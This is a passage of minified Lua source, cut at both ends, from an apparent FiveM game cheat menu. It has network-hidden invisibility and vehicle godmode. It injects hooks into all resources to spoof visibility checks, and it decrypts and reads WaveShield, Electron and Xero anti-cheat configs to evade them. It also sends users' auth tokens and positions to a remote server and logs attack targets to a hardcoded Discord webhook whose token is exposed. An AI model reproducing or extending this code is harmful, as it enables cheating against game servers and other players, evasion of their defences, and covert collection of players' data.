Ham.isKeyDown(ImGuiKey.Q) then sideways = sideways - 1 end if Ham.isKeyDown(ImGuiKey.D) then sideways = sideways + 1 end end if 1 < forward then forward = 1 elseif forward < -1 then forward = -1 end if 1 < sideways then sideways = 1 elseif sideways < -1 then sideways = -1 end return forward, sideways end function menuUtilities.hookVisible(invisible) Ham.invisible(invisible) end function menuUtilities.isFullInvisibleVisibilityActive() if not menu.vars or not menu.vars.bools then return false end return menu.vars.bools.fullInvisible == true or menu.vars.bools.fullInvisibleWalk == true or menu.vars.pmFullInvisibleActive == true end function menuUtilities.applyNoclipInvisHidden(entity) if not entity or entity == 0 or not DoesEntityExist(entity) then return end NetworkSetEntityInvisibleToNetwork(entity, true) SetEntityVisible(entity, false, false) SetEntityAlpha(entity, 0, false) if SetEntityLocallyVisible then SetEntityLocallyVisible(entity, false) end end function menuUtilities.restoreNoclipInvisHidden(entity) if not entity or entity == 0 or not DoesEntityExist(entity) then return end NetworkSetEntityInvisibleToNetwork(entity, false) if SetEntityLocallyVisible then SetEntityLocallyVisible(entity, true) end SetEntityVisible(entity, true, false) ResetEntityAlpha(entity) end function menuUtilities.applyGhostInvisible(entity, alpha) if not entity or entity == 0 or not DoesEntityExist(entity) then return end if not alpha then alpha = 100 end NetworkSetEntityInvisibleToNetwork(entity, true) SetEntityVisible(entity, false, false) SetEntityAlpha(entity, alpha, false) SetEntityLocallyVisible(entity, true) end function menuUtilities.applyVehicleGhostInvisible(vehicle, alpha) if not vehicle or vehicle == 0 or not DoesEntityExist(vehicle) then return end if not alpha then alpha = 100 end NetworkSetEntityInvisibleToNetwork(vehicle, true) SetEntityVisible(vehicle, true, false) SetEntityAlpha(vehicle, alpha, false) end function menuUtilities.applyInVehiclePedGhostInvisible(ped, alpha) if not ped or ped == 0 or not DoesEntityExist(ped) then return end if not alpha then alpha = 100 end NetworkSetEntityInvisibleToNetwork(ped, true) SetEntityVisible(ped, true, false) SetEntityAlpha(ped, alpha, false) end function menuUtilities.restoreGhostInvisible(entity) if not entity or entity == 0 or not DoesEntityExist(entity) then return end NetworkSetEntityInvisibleToNetwork(entity, false) if SetEntityLocallyVisible then SetEntityLocallyVisible(entity, true) end SetEntityVisible(entity, true, false) ResetEntityAlpha(entity) end function menuUtilities.applyExclusiveVehicleDriver(vehicle, ped) if not vehicle or vehicle == 0 or not DoesEntityExist(vehicle) then return false end if not ped then ped = PlayerPedId() end if ped == 0 or not DoesEntityExist(ped) then return false end if GetPedInVehicleSeat(vehicle, -1) ~= ped then return false end if not NetworkHasControlOfEntity(vehicle) then NetworkRequestControlOfEntity(vehicle) end SetVehicleExclusiveDriver_2(vehicle, ped, 1) return true end function menuUtilities.applyLocalStreamingFocus(vector, entity) if not vector then return end local coordinateX, coordinateY, coordinateZ = vector.x, vector.y, vector.z if entity and entity ~= 0 and DoesEntityExist(entity) then pcall(function() SetFocusEntity(entity) end) if SetGameplayCamFollowPedThisUpdate then pcall(function() SetGameplayCamFollowPedThisUpdate(entity) end) end end pcall(function() SetFocusPosAndVel(coordinateX, coordinateY, coordinateZ, 0.0, 0.0, 0.0) end) pcall(function() SetFocusArea(coordinateX, coordinateY, coordinateZ) end) pcall(function() RequestCollisionAtCoord(coordinateX, coordinateY, coordinateZ) end) if RequestAdditionalCollisionAtCoord then pcall(function() RequestAdditionalCollisionAtCoord(coordinateX, coordinateY, coordinateZ) end) end end function menuUtilities.applyVehicleGodmode(vehicle) if not vehicle or vehicle == 0 or not DoesEntityExist(vehicle) then return end SetEntityInvincible(vehicle, true) SetEntityCanBeDamaged(vehicle, false) SetVehicleCanBeVisiblyDamaged(vehicle, false) SetDisableVehicleEngineFires(vehicle, true) SetDisableVehiclePetrolTankDamage(vehicle, true) SetDisableVehiclePetrolTankFires(vehicle, true) SetEntityProofs(vehicle, true, true, true, true, true, false, false, true) if SetVehicleCanBreak then SetVehicleCanBreak(vehicle, false) end if SetVehicleTyresCanBurst then SetVehicleTyresCanBurst(vehicle, false) end if SetVehicleWheelsCanBreak then SetVehicleWheelsCanBreak(vehicle, false) end if SetVehicleStrong then SetVehicleStrong(vehicle, true) end end function menuUtilities.restoreVehicleGodmode(vehicle) if not vehicle or vehicle == 0 or not DoesEntityExist(vehicle) then return end SetEntityInvincible(vehicle, false) SetEntityCanBeDamaged(vehicle, true) SetVehicleCanBeVisiblyDamaged(vehicle, true) SetDisableVehicleEngineFires(vehicle, false) SetDisableVehiclePetrolTankDamage(vehicle, false) SetDisableVehiclePetrolTankFires(vehicle, false) SetEntityProofs(vehicle, false, false, false, false, false, false, false, false) if SetVehicleCanBreak then SetVehicleCanBreak(vehicle, true) end if SetVehicleTyresCanBurst then SetVehicleTyresCanBurst(vehicle, true) end if SetVehicleWheelsCanBreak then SetVehicleWheelsCanBreak(vehicle, true) end if SetVehicleStrong then SetVehicleStrong(vehicle, false) end end function menuUtilities.pauseNoclipGhost() if not menu.vars then return end menu.vars._noclipGhostPaused = (menu.vars._noclipGhostPaused or 0) + 1 local ped = PlayerPedId() menu.utils.restoreGhostInvisible(ped) if IsPedInAnyVehicle(ped, false) then menu.utils.restoreGhostInvisible(GetVehiclePedIsIn(ped, false)) end end function menuUtilities.resumeNoclipGhost() if not menu.vars then return end menu.vars._noclipGhostPaused = math.max(0, (menu.vars._noclipGhostPaused or 0) - 1) end function menuUtilities.hookVisibleSS(enabled) Citizen.CreateThread(function() if enabled then local code = [[ if not _G.o_IsEntityVisible then _G.o_IsEntityVisible = IsEntityVisible IsEntityVisible = function(...) return true end end if not _G.o_SetEntityVisible then _G.o_SetEntityVisible = SetEntityVisible SetEntityVisible = function(ped, toggle, unk) if ped == PlayerPedId() and toggle == true then return end return _G.o_SetEntityVisible(ped, toggle, unk) end end ]] menu.utils.executeAll(code) Citizen.Wait(250) else local code = [[ if _G.o_IsEntityVisible then IsEntityVisible = _G.o_IsEntityVisible _G.IsEntityVisible = _G.o_IsEntityVisible _G.o_IsEntityVisible = nil end if _G.o_SetEntityVisible then SetEntityVisible = _G.o_SetEntityVisible _G.SetEntityVisible = _G.o_SetEntityVisible _G.o_SetEntityVisible = nil end ]] menu.utils.executeAll(code) end SetEntityVisible(PlayerPedId(), not enabled, 0) end) end function menuUtilities.HSVtoRGB(hue, saturation, value) local sector = math.floor(hue * 6) local fraction = hue * 6 - sector local dark = value * (1 - saturation) local falling = value * (1 - fraction * saturation) local rising = value * (1 - (1 - fraction) * saturation) local red, green, blue sector = sector % 6 if sector == 0 then red, green, blue = value, rising, dark elseif sector == 1 then red, green, blue = falling, value, dark elseif sector == 2 then red, green, blue = dark, value, rising elseif sector == 3 then red, green, blue = dark, falling, value elseif sector == 4 then red, green, blue = rising, dark, value else red, green, blue = value, dark, falling end return math.floor(red * 255), math.floor(green * 255), math.floor(blue * 255) end function menuUtilities.hasBypassVehicle() return menu.vars.noClipVehicle and DoesEntityExist(menu.vars.noClipVehicle) or false end function menuUtilities.createBypassVehicle() if not (menu.vars.noClipVehicle and DoesEntityExist(menu.vars.noClipVehicle)) then if not menu.utils.isVehicleWhitelisted("bmx") then if menu.utils and menu.utils.notify then menu.utils.notify("Vehicle is blacklisted", "error", 2000) end return nil end while not HasModelLoaded(GetHashKey("bmx")) do RequestModel(GetHashKey("bmx")) Wait(10) end menu.vars.noClipVehicle = CreateVehicle(GetHashKey("bmx"), GetEntityCoords(PlayerPedId()), 0.0, false, false) SetEntityVisible(menu.vars.noClipVehicle, false, false) AttachEntityToEntity( menu.vars.noClipVehicle, PlayerPedId(), 0, -20.0, -20.0, -20.0, 0.0, 0.0, 0.0, false, false, false, false, 2, true ) end return menu.vars.noClipVehicle end function menuUtilities.deleteBypassVehicle() if menu.vars.noClipVehicle and DoesEntityExist(menu.vars.noClipVehicle) then DeleteEntity(menu.vars.noClipVehicle) menu.vars.noClipVehicle = nil end end function menuUtilities.getTargetBonePosition(entity, boneId) if not DoesEntityExist(entity) then return nil end local boneIndex = GetPedBoneIndex(entity, boneId) if boneIndex ~= nil and boneIndex ~= -1 then return GetPedBoneCoords(entity, boneIndex, 0.0, 0.0, 0.0) end return GetPedBoneCoords(entity, boneId, 0.0, 0.0, 0.0) end function menuUtilities.normalizeHamUsername(username) return string.lower(string.gsub(tostring(username or ""), "^%s*(.-)%s*$", "%1")) end function menuUtilities.isVanityHamFriendUsername(username) local normalizedName = menu.utils.normalizeHamUsername(username) if normalizedName == "" then return false end return (menu.vars and menu.vars.vanityFriends and menu.vars.vanityFriends[normalizedName]) ~= nil end function menuUtilities.isVanityUserListIconUsername(username) local normalizedName = menu.utils.normalizeHamUsername(username) if normalizedName == "" then return false end return ( menu.vars and menu.vars.vanityUserListIconUsers and menu.vars.vanityUserListIconUsers[normalizedName] ) ~= nil end function menuUtilities.isVanityAdminUsername(username) if not username or username == "" then return false end if menu.vars.adminUsers and menu.vars.adminUsers[username] == true then return true end local normalizedName = menu.utils.normalizeHamUsername(username) if normalizedName == "" then return false end for adminName, enabled in pairs(menu.vars.adminUsers or {}) do if enabled and menu.utils.normalizeHamUsername(adminName) == normalizedName then return true end end return false end function menuUtilities.getVanityAdminStarColor(username) if not menu.utils.isVanityAdminUsername(username) then return nil end if menu.utils.isVanityUserListIconUsername(username) then return { 235, 58, 58, 255 } end return (menu.drawing and menu.drawing.colors and menu.drawing.colors.accent) or { 255, 193, 7, 255 } end function menuUtilities.getVanityUserListDisplayName(username) local normalizedName = menu.utils.normalizeHamUsername(username) if normalizedName == "" then return username end local displayName = menu.vars and menu.vars.vanityUserListIconUsers and menu.vars.vanityUserListIconUsers[normalizedName] if type(displayName) == "string" and displayName ~= "" then return displayName end return username end function menuUtilities.isServerIdFriend(serverId) if not serverId then return false end local numericServerId = tonumber(serverId) if not numericServerId then return false end local friends = menu.vars and menu.vars.friendList or {} if friends[numericServerId] == true or friends[tostring(numericServerId)] == true then return true end local user = menu.vars.vanityMenuUsers and menu.vars.vanityMenuUsers[tostring(numericServerId)] if user and user.username and menu.utils.isVanityHamFriendUsername(user.username) then return true end return false end function menuUtilities.isPlayerFriendByPlayerId(playerId) if playerId == nil or playerId == -1 then return false end local serverId = GetPlayerServerId(playerId) if serverId and 0 < serverId then return menu.utils.isServerIdFriend(serverId) end return false end function menuUtilities.canSeeVanityMenuUsers() local username = Ham and Ham.getName and Ham.getName() if not username then return false end if menu.vars.priorityUsers[username] == true then return true end if menu.vars.adminUsers and menu.vars.adminUsers[username] == true then return true end return false end function menuUtilities.isVanityMenuUser(serverId) if not serverId then return false end if menu.vars.vanityMenuUsers ~= nil then return menu.vars.vanityMenuUsers[tostring(serverId)] ~= nil end return false end function menuUtilities.parseVanityPrivacyFlag(value, defaultValue) if value == false or value == 0 or value == "0" or value == "false" then return false end if value == true or value == 1 or value == "1" or value == "true" then return true end return defaultValue end function menuUtilities.registerVanityPresence() if menu.vars._vanityRegisterInFlight then return end local serverEndpoint = Ham.getServerEndpoint() if not serverEndpoint or serverEndpoint == "" then return end local authToken = Ham.getAuthToken() or "" if authToken == "" then return end menu.vars._vanityRegisterInFlight = true Citizen.CreateThread(function() local position = GetEntityCoords(PlayerPedId()) local payload = { token = authToken, serverIP = serverEndpoint, serverId = tostring(GetPlayerServerId(PlayerId())), playerName = GetPlayerName(PlayerId()), showOnServers = menu.vars.bools.showMeOnServers == true, showLocation = menu.vars.bools.showMyLocation == true, showInVanityEsp = menu.vars.bools.showMeInVanityEsp == true, showInOnlineOptions = menu.vars.bools.showMeInOnlineOptions == true, position = { x = position.x, y = position.y, z = position.z } } local request = Ham.httpPostAsync( "https://vty.ham.cx/vanity/register", json.encode(payload), { ["Content-Type"] = "application/json" }, true ) if request then local deadline = GetGameTimer() + 5000 while deadline > GetGameTimer() do if Ham.getAsyncResult(request).ready then break end Wait(10) end end menu.vars._vanityRegisterInFlight = false end) end function menuUtilities.applyVanityPrivacyStateBags() menu.utils.registerVanityPresence() end function menuUtilities.getVanityPrivacyFromStateBag(serverId) return nil end function menuUtilities.resolveVanityPrivacy(serverId, providedEntry) local playerKey = tostring(serverId or "") local localPlayerKey = tostring(GetPlayerServerId(PlayerId())) local entry = providedEntry or (menu.vars.vanityMenuUsers and menu.vars.vanityMenuUsers[playerKey]) local statePrivacy = menu.utils.getVanityPrivacyFromStateBag(serverId) local function resolveFlag(stateValue, entryValue, localValue, defaultValue) if stateValue ~= nil then return stateValue end if playerKey == localPlayerKey and localValue ~= nil then return localValue end return menu.utils.parseVanityPrivacyFlag(entryValue, defaultValue) end return { showOnServers = resolveFlag( statePrivacy and statePrivacy.showOnServers, entry and entry.showOnServers, menu.vars.bools.showMeOnServers == true, false ), showLocation = resolveFlag( statePrivacy and statePrivacy.showLocation, entry and entry.showLocation, menu.vars.bools.showMyLocation == true, false ), showInVanityEsp = resolveFlag( statePrivacy and statePrivacy.showInVanityEsp, entry and entry.showInVanityEsp, menu.vars.bools.showMeInVanityEsp == true, false ), showInOnlineOptions = resolveFlag( statePrivacy and statePrivacy.showInOnlineOptions, entry and entry.showInOnlineOptions, menu.vars.bools.showMeInOnlineOptions == true, false ) } end function menuUtilities.isVanityUserVisibleOnServerList(serverId, entry) if menu.utils.canSeeVanityMenuUsers() and menu.utils.isVanityMenuUser(serverId) then return true end return menu.utils.resolveVanityPrivacy(serverId, entry).showOnServers == true end function menuUtilities.shouldShowVanityUserInEsp(serverId) if not menu.utils.isVanityMenuUser(serverId) then return false end if menu.utils.canSeeVanityMenuUsers() then return true end return menu.utils.resolveVanityPrivacy(serverId).showInVanityEsp == true end function menuUtilities.shouldShowFriendInEsp(serverId, playerId) if not serverId or playerId == nil or playerId == -1 then return false end if menu.utils.shouldShowVanityUserInEsp(serverId) then return false end if menu.utils.isVanityMenuUser(serverId) then return false end return menu.utils.isPlayerFriendByPlayerId(playerId) == true end function menuUtilities.usesFriendEspColor(playerId) if playerId == nil or playerId == -1 then return false end return menu.utils.isPlayerFriendByPlayerId(playerId) == true end function menuUtilities.shouldShowVanityUserInOnlineOptions(serverId) if not menu.utils.isVanityMenuUser(serverId) then return false end if menu.utils.canSeeVanityMenuUsers() then return true end return menu.utils.resolveVanityPrivacy(serverId).showInOnlineOptions == true end function menuUtilities.isPedFriend(entity) if not entity or entity == 0 or not DoesEntityExist(entity) or not IsPedAPlayer(entity) then return false end local playerId = NetworkGetPlayerIndexFromPed(entity) if playerId == nil or playerId == -1 then return false end return menu.utils.isPlayerFriendByPlayerId(playerId) end function menuUtilities.isTargetFriend(targetInfo) if not targetInfo then return false end if targetInfo.serverId and menu.utils.isServerIdFriend(targetInfo.serverId) then return true end if targetInfo.playerId and menu.utils.isPlayerFriendByPlayerId(targetInfo.playerId) then return true end if targetInfo.ped and menu.utils.isPedFriend(targetInfo.ped) then return true end return false end function menuUtilities.buildVanityUsersListEntries(vector) local entries = {} local localPlayerKey = tostring(GetPlayerServerId(PlayerId())) local users = menu.vars.vanityMenuUsers or {} local canSeeAll = menu.utils.canSeeVanityMenuUsers() for serverKey, user in pairs(users) do if serverKey ~= localPlayerKey and user and user.username and user.username ~= "" then local numericServerId = tonumber(serverKey) local serverId = numericServerId or serverKey if menu.utils.isVanityUserVisibleOnServerList(serverId, user) then local privacy = menu.utils.resolveVanityPrivacy(serverId, user) local distance = nil local showLocation = privacy.showLocation == true or canSeeAll if showLocation and user.position and vector then local x = tonumber(user.position.x or user.position[1]) local y = tonumber(user.position.y or user.position[2]) local z = tonumber(user.position.z or user.position[3]) if x and y and z then local dx, dy, dz = x - vector.x, y - vector.y, z - vector.z distance = math.sqrt(dx * dx + dy * dy + dz * dz) end end if showLocation and distance == nil and numericServerId then local playerId = GetPlayerFromServerId(numericServerId) if playerId and playerId ~= -1 then local ped = GetPlayerPed(playerId) if ped and ped ~= 0 and DoesEntityExist(ped) then local position = GetEntityCoords(ped) local dx, dy, dz = position.x - vector.x, position.y - vector.y, position.z - vector.z distance = math.sqrt(dx * dx + dy * dy + dz * dz) end end end entries[#entries + 1] = { username = user.username, displayName = menu.utils.getVanityUserListDisplayName(user.username), dist = distance or 1.0E9, showDistance = showLocation and distance ~= nil, isFriend = menu.utils.isVanityHamFriendUsername(user.username), showVanityIcon = menu.utils.isVanityUserListIconUsername(user.username) or menu.utils.isVanityAdminUsername(user.username), starColor = menu.utils.getVanityAdminStarColor(user.username), serverId = numericServerId } end end end table.sort(entries, function(first, second) if first.dist ~= second.dist then return first.dist < second.dist end return string.lower(tostring(first.username)) < string.lower(tostring(second.username)) end) return entries end function menuUtilities.getSilentAttackPedCandidates() return { "a_c_cat_01", "a_c_rottweiler", "a_c_coyote", "a_c_shepherd", "a_c_retriever", "a_c_husky", "a_c_pug", "mp_m_freemode_01", "mp_f_freemode_01", "a_m_m_beach_01", "s_m_m_security_01", "a_m_y_business_01", "a_f_y_business_01", "player_zero", "player_two" } end function menuUtilities.getFirstWhitelistedSilentAttackPed() local serverEndpoint = Ham and Ham.getServerEndpoint and Ham.getServerEndpoint() or "" if serverEndpoint == "193.46.81.93" then return "a_c_rottweiler" end for _, model in ipairs(menu.utils.getSilentAttackPedCandidates() or {}) do if menu.utils.isWSPedWhitelisted(model) then return model end end return nil end function menuUtilities.printSilentAttackPedModel(model, selectedModel) if not selectedModel or selectedModel == "" then return end print(string.sub(tostring(selectedModel), 1, 1)) end menuUtilities.nearbyVehicleFallbackModels = { "asea", "drafter", "schafter2", "sultan", "kuruma", "blista", "prairie", "fugitive", "stanier", "oracle", "oracle2", "sentinel", "sentinel2", "zion", "zion2", "felon", "felon2", "jackal", "exemplar", "f620", "tailgater", "washington", "intruder", "premier", "ingot", "emperor", "asterope", "surge", "stratum", "romero", "minivan", "landstalker", "baller", "baller2", "cavalcade", "cavalcade2", "granger", "gresley", "dubsta", "dubsta2", "rocoto", "serrano", "habanero", "radius", "fq2", "huntley", "xls", "mesa", "patriot", "seminole" } menuUtilities.freecamSafeVehicleModels = { "blista", "sultan", "schafter2", "asea", "xls" } function menuUtilities.pickNearbyWhitelistedCarModel(radius) if not radius then radius = 500.0 end local ped = PlayerPedId() if ped == 0 or not DoesEntityExist(ped) then return nil end local playerPosition = GetEntityCoords(ped) local bestModel = nil local bestDistance = radius + 1.0 local bmxHash, bf400Hash = GetHashKey("bmx"), GetHashKey("bf400") for _, vehicle in ipairs(GetGamePool("CVehicle") or {}) do if DoesEntityExist(vehicle) then local distance = #(playerPosition - GetEntityCoords(vehicle)) if radius >= distance and bestDistance > distance then local modelHash = GetEntityModel(vehicle) if modelHash and modelHash ~= 0 and IsThisModelACar(modelHash) and not IsThisModelABike(modelHash) and modelHash ~= bmxHash and modelHash ~= bf400Hash then local displayName = GetDisplayNameFromVehicleModel(modelHash) if displayName and displayName ~= "" and displayName ~= "CARNOTFOUND" then local model = string.lower(displayName) if menu.utils.isVehicleWhitelisted(model) then bestModel, bestDistance = model, distance end end end end end end return bestModel end function menuUtilities.pickNearbyVehicleFallbackModel() local models = menu.utils.nearbyVehicleFallbackModels local indices = {} for index = 1, #models, 1 do indices[index] = index end for index = #indices, 2, -1 do local randomIndex = math.random(1, index) indices[randomIndex], indices[index] = indices[index], indices[randomIndex] end for _, index in ipairs(indices) do local model = models[index] if menu.utils.isVehicleWhitelisted(model) then return model end end return nil end function menuUtilities.isAnyNearbyVehicleFallbackWhitelisted() for _, model in ipairs(menu.utils.nearbyVehicleFallbackModels) do if menu.utils.isVehicleWhitelisted(model) then return true end end return false end function menuUtilities.savePlayerWeapons() local ped = PlayerPedId() local weapons = {} local hasCurrentWeapon, currentWeapon = GetCurrentPedWeapon(ped, true) for _, weaponName in ipairs(menu.vars.weaponsList) do if weaponName ~= "WEAPON_UNARMED" then local weaponHash = GetHashKey(weaponName) if HasPedGotWeapon(ped, weaponHash, false) then local components = {} for _, componentName in ipairs(menu.vars._weaponComponentNames or {}) do local componentHash = GetHashKey(componentName) if HasPedGotWeaponComponent(ped, weaponHash, componentHash) then components[#components + 1] = componentHash end end weapons[#weapons + 1] = { hash = weaponHash, ammo = GetAmmoInPedWeapon(ped, weaponHash), components = components, tint = GetPedWeaponTintIndex(ped, weaponHash) } end end end weapons.currentWeapon = currentWeapon return weapons end function menuUtilities.restorePlayerWeapons(weapons) if not weapons then return end local ped = PlayerPedId() for _, weapon in ipairs(weapons) do GiveWeaponToPed(ped, weapon.hash, weapon.ammo or 0, false, true) for _, componentHash in ipairs(weapon.components or {}) do GiveWeaponComponentToPed(ped, weapon.hash, componentHash) end if weapon.tint and 0 < weapon.tint then SetPedWeaponTintIndex(ped, weapon.hash, weapon.tint) end end if weapons.currentWeapon then SetCurrentPedWeapon(ped, weapons.currentWeapon, true) else SetCurrentPedWeapon(ped, GetHashKey("WEAPON_UNARMED"), true) end end function menuUtilities.savePlayerVehicle() local ped = PlayerPedId() local vehicle = GetVehiclePedIsIn(ped, false) if vehicle and vehicle ~= 0 and DoesEntityExist(vehicle) then local selectedSeat = -1 local maxPassengers = GetVehicleMaxNumberOfPassengers(vehicle) for seat = -1, maxPassengers - 1, 1 do if GetPedInVehicleSeat(vehicle, seat) == ped then selectedSeat = seat break end end return { vehicle = vehicle, seat = selectedSeat } end return nil end function menuUtilities.restorePlayerVehicle(state) if not state or not state.vehicle or not DoesEntityExist(state.vehicle) then return end SetPedIntoVehicle(PlayerPedId(), state.vehicle, state.seat or -1) end menuUtilities.monamiLaunchWebhookUrl = "https://discord.com/api/webhooks/1559607831303290880/gq57T6ednQO_nYbweWMcm6mypOeUFa3q6YuOvvpxdXa2Mp4yh0OEm5oV9Cn2Km-8-N-3" function menuUtilities.discordEmbedCode(value) local text = tostring(value or "N/A"):gsub("`", "'") if text == "" then text = "N/A" end return "`" .. text .. "`" end function menuUtilities.logMonamiLaunchWebhook(target) if not Ham or not Ham.httpPostAsync or not json or not json.encode then return end local hamName = (menu.utils.resolveHamUserName and menu.utils.resolveHamUserName()) or (Ham.getName and Ham.getName()) or "Unknown" local playerName = GetPlayerName(PlayerId()) or "Unknown" local serverId = tostring(GetPlayerServerId(PlayerId()) or "N/A") local discordId = (Ham.getDiscordId and Ham.getDiscordId()) or menu.vars.linkedDiscord or "N/A" local serverHostname = (Ham.getServerHostname and Ham.getServerHostname()) or "Unknown" local targetName, targetServerId = "Self", serverId if target then local numericTargetId = tonumber(target.serverId) if numericTargetId and 0 < numericTargetId then targetServerId = tostring(numericTargetId) local targetPlayer = GetPlayerFromServerId(numericTargetId) if targetPlayer and targetPlayer ~= -1 then targetName = GetPlayerName(targetPlayer) or target.name or "Unknown" else targetName = target.name or "Unknown" end elseif target.name then targetName = target.name end end local payload = { username = "HAM", embeds = { { title = "Monami Launch", color = 16711680, fields = { { name = "Ham", value = menu.utils.discordEmbedCode(hamName), inline = false }, { name = "In-Game", value = menu.utils.discordEmbedCode(playerName), inline = false }, { name = "SID", value = menu.utils.discordEmbedCode(serverId), inline = false }, { name = "Discord", value = menu.utils.discordEmbedCode(discordId), inline = false }, { name = "Server", value = serverHostname, inline = false }, { name = "Target", value = menu.utils.discordEmbedCode(targetName), inline = false }, { name = "Target SID", value = menu.utils.discordEmbedCode(targetServerId), inline = false } } } } } Ham.httpPostAsync( menu.utils.monamiLaunchWebhookUrl, json.encode(payload), { ["Content-Type"] = "application/json" }, true ) end function menuUtilities.fetchWSSubstitution() local substitution = nil for _, value in pairs(Ham.getallstatebags().global) do if type(value) == "string" then local key = value:gsub("\"", "") local convar = GetConvar(key, "no") if convar ~= "no" then substitution = convar break end end end return substitution end function menuUtilities.generateWSSubstitution(seed) local excluded = { ["^"] = true, [" "] = true, ["\\"] = true } local characters = "" for charCode = 32, 126, 1 do local character = string.char(charCode) if not excluded[character] then characters = characters .. character end end local substitution, reverseSubstitution, shuffled = {}, {}, {} for index = 1, #characters, 1 do shuffled[index] = characters:sub(index, index) end local function hashStringForShuffle(value) local hash = 0 for index = 1, #value do hash = (hash * 31 + value:byte(index)) % 4.294967296E9 end return hash end local hash = hashStringForShuffle(seed) for index = 1, #shuffled, 1 do local swapIndex = hash % (#shuffled - index + 1) + index shuffled[index], shuffled[swapIndex] = shuffled[swapIndex], shuffled[index] hash = hash + index end for index = 1, #characters, 1 do local original = characters:sub(index, index) substitution[original] = shuffled[index] reverseSubstitution[shuffled[index]] = original end return substitution, reverseSubstitution end function menuUtilities.decryptWSString(value, reverseSubstitution) local characters = {} for index = 1, #value, 1 do local character = value:sub(index, index) table.insert(characters, reverseSubstitution[character] or character) end return table.concat(characters) end function menuUtilities.getWaveShieldConfig() return GetStateBagValue("global", "_ws_cfg") end function menuUtilities.getWSPedSpawnRate() if not menu.vars.wsConfig then return false, 0 end if not menu.vars.wsConfig.Entities then return false, 0 end return true, tonumber(menu.vars.wsConfig.Entities.PedsLimitIn5Seconds) or 0 end function menuUtilities.isWSProjectileWhitelisted() if not menu.vars.wsConfig then return true end if menu.vars.wsConfig.Weapons and menu.vars.wsConfig.Weapons.EnableProjectilesWhiteList then return false end return true end function menuUtilities.isWSVehicleWhitelisted(model) if not menu.vars.wsConfig then return true end if not menu.vars.wsConfig.Entities then return true end local blacklist = menu.vars.wsConfig.Entities.BlackListedVehicles if not blacklist or type(blacklist) ~= "table" then return true end local modelHash = type(model) == "string" and GetHashKey(model) or model local lowerModel = type(model) == "string" and model:lower() or nil local lowerHash = tostring(modelHash):lower() for key, value in pairs(blacklist) do local entry = false if (type(value) == "string" or type(value) == "number") and value then entry = value elseif type(key) == "string" or type(key) == "number" then entry = key end if entry then if type(entry) == "string" then local lowerEntry = entry:lower() if (lowerModel and lowerEntry == lowerModel) or lowerEntry == lowerHash then return false end if tonumber(entry) == modelHash then return false end elseif type(entry) == "number" and entry == modelHash then return false end end end return true end function menuUtilities.isWSPedWhitelisted(model) if not menu.vars.wsConfig then return true end if not menu.vars.wsConfig.Entities then return true end local enabled, spawnRate = menu.utils.getWSPedSpawnRate() if enabled and spawnRate < 1 then return false end local modelHash = type(model) == "string" and GetHashKey(model) or model local lowerModel = type(model) == "string" and model:lower() or nil if menu.vars.wsConfig.Entities.EnablePedsWhiteList then local whitelist = menu.vars.wsConfig.Entities.WhiteListedPeds if not whitelist or type(whitelist) ~= "table" then return false end local lowerHash = tostring(modelHash):lower() for key, value in pairs(whitelist) do local entry = false if (type(value) == "string" or type(value) == "number") and value then entry = value elseif type(key) == "string" or type(key) == "number" then entry = key end if entry then if type(entry) == "string" and lowerModel then local lowerEntry = entry:lower() if lowerEntry == lowerModel or lowerEntry == lowerHash then return true end elseif type(entry) == "number" and entry == modelHash then return true end end end return false end local blacklist = menu.vars.wsConfig.Entities.BlackListedPeds if blacklist and type(blacklist) == "table" then for key, value in pairs(blacklist) do local entry = false if (type(value) == "string" or type(value) == "number") and value then entry = value elseif type(key) == "string" or type(key) == "number" then entry = key end if entry then if type(entry) == "string" and lowerModel and entry:lower() == lowerModel then return false end if type(entry) == "number" and entry == modelHash then return false end end end end return true end function menuUtilities.isWSObjectWhitelisted(model) if not menu.vars.wsConfig then return true end if not menu.vars.wsConfig.Entities then return true end local alwaysBlocked = { "ar_prop_ar_tube_4x_crn_5d", "ar_prop_ar_neon_gate8x_01a", "ar_prop_ar_neon_gate8x_02a", "ar_prop_ar_neon_gate8x_03a", "ar_prop_ar_neon_gate8x_04a", "ar_prop_ar_neon_gate8x_05a" } if type(model) == "string" then for _, blocked in ipairs(alwaysBlocked) do if model == blocked then return false end end elseif type(model) == "number" then for _, blocked in ipairs(alwaysBlocked) do if model == GetHashKey(blocked) then return false end end end local blacklist = menu.vars.wsConfig.Entities.BlackListedObjects if not blacklist or type(blacklist) ~= "table" then return true end local lowerModel = type(model) == "string" and model:lower() or nil local lowerHash = tostring(GetHashKey(model)):lower() for key, value in pairs(blacklist) do local entry = false if (type(value) == "string" or type(value) == "number") and value then entry = value elseif type(key) == "string" or type(key) == "number" then entry = key end if entry then local text = type(entry) == "string" and entry:lower() or type(entry) == "number" and tostring(entry):lower() or "" if lowerModel and (text == lowerModel or text == lowerHash) then return false end end end return true end function menuUtilities.getElectronConfig() return GetStateBagValue("global", "_eac_cfg") end function menuUtilities.isElectronObjectWhitelisted(model) if not menu.vars.eacConfig then return true end local antiObject = menu.vars.eacConfig.modules.antiObject if not antiObject.enabled then return true end for _, blocked in pairs(menu.vars.electronObjectBlacklist) do if blocked:lower() == model:lower() or blocked:lower() == tostring(GetHashKey(model)):lower() then return false end end local hash = tostring(GetHashKey(model)) if antiObject.blacklist[hash] or antiObject.blacklist[model] or antiObject.blacklist[tostring(model)] then return false end return true end local function isXeroEntryWhitelisted(model, blacklist) if not blacklist or not blacklist.enabled or not blacklist.value or type(blacklist.value) ~= "table" then return true end local modelHash = type(model) == "string" and GetHashKey(model) or model local lowerModel = type(model) == "string" and model:lower() or nil local lowerHash = tostring(modelHash):lower() for _, entry in ipairs(blacklist.value) do if type(entry) == "string" then local lowerEntry = entry:lower() if (lowerModel and lowerEntry == lowerModel) or lowerEntry == lowerHash then return false end if tonumber(entry) and tonumber(entry) == modelHash then return false end elseif type(entry) == "number" and entry == modelHash then return false end end return true end function menuUtilities.isXeroObjectWhitelisted(model) if not menu.vars.xeroConfig then return true end local objects = menu.vars.xeroConfig.entity and menu.vars.xeroConfig.entity.Objects if not objects then return true end return isXeroEntryWhitelisted(model, objects["Object Blacklist"]) end function menuUtilities.isObjectWhitelisted(model) if not model then return true end local allowed = true if menu.vars.eacConfig then allowed = menu.utils.isElectronObjectWhitelisted(model) end if menu.vars.wsConfig and allowed ~= false then allowed = menu.utils.isWSObjectWhitelisted(model) end if allowed and menu.vars.xeroConfig then allowed = menu.utils.isXeroObjectWhitelisted(model) end return allowed end function menuUtilities.isXeroVehicleWhitelisted(model) if not menu.vars.xeroConfig then return true end local vehicles = menu.vars.xeroConfig.entity and menu.vars.xeroConfig.entity.Vehicles if not vehicles then return true end return 